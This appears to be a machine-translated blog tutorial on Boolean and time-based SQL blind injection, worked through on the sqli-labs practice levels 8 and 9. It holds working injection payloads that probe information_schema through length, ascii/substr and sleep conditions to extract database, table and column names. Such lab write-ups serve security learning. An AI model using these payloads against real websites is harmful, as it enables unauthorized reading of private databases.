当前位置:网站首页>SQL blind injection (WEB penetration)
SQL blind injection (WEB penetration)
2022-07-07 12:23:00 【hcjtn】
sql Blind note (web penetration )
- sql Blind note Mainly dealing with the page face wed Use when the error response is better ( namely , Error does not echo )
Bull's blind note
Use page return still No return We can judge the desired result by changing these two states ( Boolean for 0 or 1 Two cases )
The problem solving steps :( The following examples are all based on sql-lab less-8 For example )
Get the length of the database name : ?id=1’ and (length(database()))=8-- q( utilize > < or = To determine the length of its database )
Get the database name :
?id=1’ and ascii(substr(database(),1,1))=115 Indicates from the database 1 Start taking a length ( You will get a decimal number , utilize ASCII Table converts it into letters or symbols ) The first is s、
It can also be done through burp suite To do it
Get the number of tables : ?id=1’ and (select count(*) from information_schema.tables where table_schema=‘security’)>5(=4)-- q
Get the length of the name of the table : ?id=1’and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)>5(=6)-- q Yes 6 Length
Get the name of the table : ?id=1’and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q The first is e
Get field name :?id=1’and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q The first is i
The function of Boolean blind note
- String concatenation function : Concat ,concat_ws, group_concat
- String truncation function :Substr, mid, left , right, locate
- Returns the specified ASCII Functions required by string :ascii,ord
- Returns the... Corresponding to the specified number ascii Code character :char
- String substitution :replace
- Calculate correlation : length( length ) count( Count )
Time blind note
- Time blind note :( With sql-lab less-9 For example ) The problem solving steps
The Ninth level is found according to the blind note just now, no matter what conditions are entered , The echo result is a , It is proved that the Boolean blind note just now cannot be used , Try to use time blind
Parsing library name length : ?id=1’ and if(length(database())=8,sleep(5),1)-- q( If set up , Just react in five seconds , notes : there 1 It doesn't mean anything )
Resolve database name :?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q The first is s
Resolve table name : ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q The first is e
Resolve field name :?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q The first is i
The function of time blind :
- sleep() Hang the program for a while n by n second
- if(expr1,expr2,expr3) Judgment statement If the first statement is correct, execute the second statement If there is an error, execute the third statement .
边栏推荐
- Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
- 开发一个小程序商城需要多少钱?
- Zero shot, one shot and few shot
- Is it safe to open Huatai's account in kainiu in 2022?
- How to understand the clothing industry chain and supply chain
- Swiftui tutorial how to realize automatic scrolling function in 2 seconds
- Idea 2021 Chinese garbled code
- 超标量处理器设计 姚永斌 第10章 指令提交 摘录
- 超标量处理器设计 姚永斌 第9章 指令执行 摘录
- MATLAB实现Huffman编码译码含GUI界面
猜你喜欢

解决 Server returns invalid timezone. Go to ‘Advanced’ tab and set ‘serverTimezone’ property manually

百度数字人度晓晓在线回应网友喊话 应战上海高考英语作文

超标量处理器设计 姚永斌 第9章 指令执行 摘录

Baidu digital person Du Xiaoxiao responded to netizens' shouts online to meet the Shanghai college entrance examination English composition

Improve application security through nonce field of play integrity API

powershell cs-UTF-16LE编码上线
![112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]](/img/b6/6dfe9be842204567096d1f4292e8e7.png)
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]

VSCode的学习使用

MATLAB實現Huffman編碼譯碼含GUI界面

Fleet tutorial 14 basic introduction to listtile (tutorial includes source code)
随机推荐
Hi3516全系统类型烧录教程
Upgrade from a tool to a solution, and the new site with praise points to new value
How to understand the clothing industry chain and supply chain
<No. 8> 1816. 截断句子 (简单)
<No. 9> 1805. 字符串中不同整数的数目 (简单)
Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
问题:先后键入字符串和字符,结果发生冲突
@What happens if bean and @component are used on the same class?
108.网络安全渗透测试—[权限提升篇6]—[Windows内核溢出提权]
Sort out the garbage collection of JVM, and don't involve high-quality things such as performance tuning for the time being
2022 8th "certification Cup" China University risk management and control ability challenge
Flet教程之 14 ListTile 基础入门(教程含源码)
zero-shot, one-shot和few-shot
Swiftui swift internal skill how to perform automatic trigonometric function calculation in swift
【纹理特征提取】基于matlab局部二值模式LBP图像纹理特征提取【含Matlab源码 1931期】
Swiftui tutorial how to realize automatic scrolling function in 2 seconds
【滤波跟踪】基于matlab扩展卡尔曼滤波EKF和无迹卡尔曼滤波UKF比较【含Matlab源码 1933期】
Unity 贴图自动匹配材质工具 贴图自动添加到材质球工具 材质球匹配贴图工具 Substance Painter制作的贴图自动匹配材质球工具
SwiftUI Swift 内功之如何在 Swift 中进行自动三角函数计算
免备案服务器会影响网站排名和权重吗?